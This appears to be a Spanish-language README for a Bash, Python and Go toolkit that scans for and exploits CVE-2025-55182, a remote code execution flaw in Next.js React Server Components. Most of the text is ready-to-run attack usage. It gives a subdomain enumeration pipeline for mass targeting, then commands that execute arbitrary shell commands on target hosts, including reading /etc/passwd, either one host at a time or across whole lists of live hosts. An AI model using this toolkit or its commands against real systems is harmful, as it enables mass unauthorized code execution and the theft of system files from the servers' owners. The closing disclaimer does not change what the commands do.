CVE-2025-55182: Escáner de RCE en React Server Components

Un kit de herramientas integral para detectar y explotar CVE-2025-55182, una vulnerabilidad crítica de ejecución remota de código en aplicaciones Next.js que utilizan React Server Components.

Este repositorio incluye un escáner Bash unificado (modo individual y masivo), implementaciones en Python/Go y un flujo de trabajo de reconocimiento para bug bounty.

📂 Estructura del Repositorio

• scanner.sh — Script Bash todo-en-uno para escaneo de objetivo único y masivo
• python/exploit.py — Implementación estable en Python (mejor escape de JSON)
• go/main.go — Implementación de alto rendimiento (compilable)

🚀 Flujo de Trabajo de Reconocimiento (Metodología Bug Bounty)

Para la caza masiva en dominios comodín, usa este pipeline para filtrar objetivos antes de escanear:

# 1. Enumerate subdomains
subfinder -dL wildcards.txt -all -recursive > subs.txt

# 2. Filter for live hosts
httpx -l subs.txt -o live.txt

# 3. Pre-scan detection using Nuclei (optional)
nuclei -l live.txt -t CVE-2025-55182.yaml -o final.txt

🛠️ Uso del Escáner Bash (Recomendado)

El script scanner.sh admite escaneos de un solo objetivo y escaneo masivo desde un archivo con una lista.

🔧 Instalación

chmod +x scanner.sh

1️⃣ Modo de Objetivo Único

Ideal para verificar un objetivo específico con salida detallada.

# Basic check (defaults to "id")
./scanner.sh -d example.com

# Execute custom command
./scanner.sh -d https://target.com -c "cat /etc/passwd"

2️⃣ Modo de Escaneo Masivo

Escanea de manera eficiente una lista de URLs y guarda los hosts vulnerables en un archivo.

# Scan a list of URLs
./scanner.sh -l live.txt -c "whoami"

# Custom output file
./scanner.sh -l live.txt -o my_bounty.txt

Opciones

🐍 Versión de Python

Usa esta versión si encuentras problemas con el escape de caracteres especiales en Bash.

Requisitos

pip install requests

Uso

python3 python/exploit.py -u http://target.com -c "uname -a"

🐹 Versión de Go

Alto rendimiento, dependencias mínimas.

Ejecutar directamente

go run go/main.go -u http://target.com -c "id"

Compilar binario

cd go
go build -o cve-scanner main.go
./cve-scanner -u http://target.com

⚠️ Descargo de Responsabilidad

Esta herramienta es solo para fines educativos y pruebas de seguridad autorizadas. El uso no autorizado es estrictamente ilegal. El desarrollador no asume ninguna responsabilidad por el mal uso o los daños causados por este programa.

🔗 Referencias

• Detalle del CVE en NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-55182

• Aviso de seguridad de React (vulnerabilidad de React Server Components): https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components

• Plantilla de Nuclei de ProjectDiscovery: https://cloud.projectdiscovery.io/library/CVE-2025-55182